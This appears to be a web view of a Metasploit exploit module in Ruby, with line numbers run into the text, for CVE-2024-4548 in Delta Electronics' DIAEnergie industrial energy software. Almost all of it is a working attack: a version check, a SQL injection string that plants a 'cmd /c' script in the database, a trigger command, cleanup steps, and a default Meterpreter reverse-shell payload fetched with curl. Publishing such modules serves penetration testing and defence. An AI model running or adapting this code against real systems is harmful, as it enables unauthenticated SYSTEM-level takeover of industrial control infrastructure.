Path: blob/master/modules/exploits/windows/scada/diaenergie_sqli.rb
33323 views
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::Tcp3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',10'Description' => %q{11SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.12This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.13},14'License' => MSF_LICENSE,15'Author' => [16'Michael Heinzl', # MSF exploit17'Tenable' # Discovery & PoC18],19'References' => [20[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],21[ 'CVE', '2024-4548']22],23'DisclosureDate' => '2024-05-06',24'Platform' => 'win',25'Targets' => [26[27'Windows_Fetch',28{29'Arch' => [ ARCH_CMD ],30'Platform' => 'win',31'DefaultOptions' => {32'FETCH_COMMAND' => 'CURL',33'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'34},35'Type' => :win_fetch36}37]38],39'DefaultTarget' => 0,4041'Notes' => {42'Stability' => [CRASH_SAFE],43'Reliability' => [REPEATABLE_SESSION],44'SideEffects' => [IOC_IN_LOGS]45}46)47)4849register_options(50[51Opt::RPORT(928)52]53)54end5556# Determine if the DIAEnergie version is vulnerable57def check58begin59connect60sock.put 'Who is it?'61res = sock.get || ''62rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e63vprint_error(e.message)64return Exploit::CheckCode::Unknown65ensure66disconnect67end6869if res.empty?70vprint_status('Received an empty response.')71return Exploit::CheckCode::Unknown72end7374vprint_status('Who is it response: ' + res.to_s)75version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/76version = res.match(version_pattern)7778if version[0].nil?79return Exploit::CheckCode::Detected80end8182vprint_status('Version retrieved: ' + version[0])8384unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')85return CheckCode::Safe86end8788return CheckCode::Appears89end9091def exploit92execute_command(payload.encoded)93end9495def execute_command(cmd)96scname = Rex::Text.rand_text_alphanumeric(5..10).to_s97vprint_status('Using random script name: ' + scname)9899year = rand(2024..2026)100month = sprintf('%02d', rand(1..12))101day = sprintf('%02d', rand(1..29))102random_date = "#{year}-#{month}-#{day}"103vprint_status('Using random date: ' + random_date)104105hour = sprintf('%02d', rand(0..23))106minute = sprintf('%02d', rand(0..59))107second = sprintf('%02d', rand(0..59))108random_time = "#{hour}:#{minute}:#{second}"109vprint_status('Using random time: ' + random_time)110111# Inject payload112begin113print_status('Sending SQL injection...')114connect115vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")116sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"117res = sock.get118unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'119fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)120end121122vprint_status('Injection - Expected response received: ' + res.to_s)123disconnect124125# Trigger126print_status('Triggering script execution...')127connect128sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"129res = sock.get130unless res.to_s == 'Recalculate Script Start!'131fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)132end133vprint_status('Trigger - Expected response received: ' + res.to_s)134135disconnect136137print_good('Script successfully injected, check thy shell.')138ensure139# Cleanup140print_status('Cleaning up database...')141connect142sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"143res = sock.get144unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'145fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)146end147vprint_status('Cleanup - Expected response received: ' + res.to_s)148149disconnect150end151end152end153154155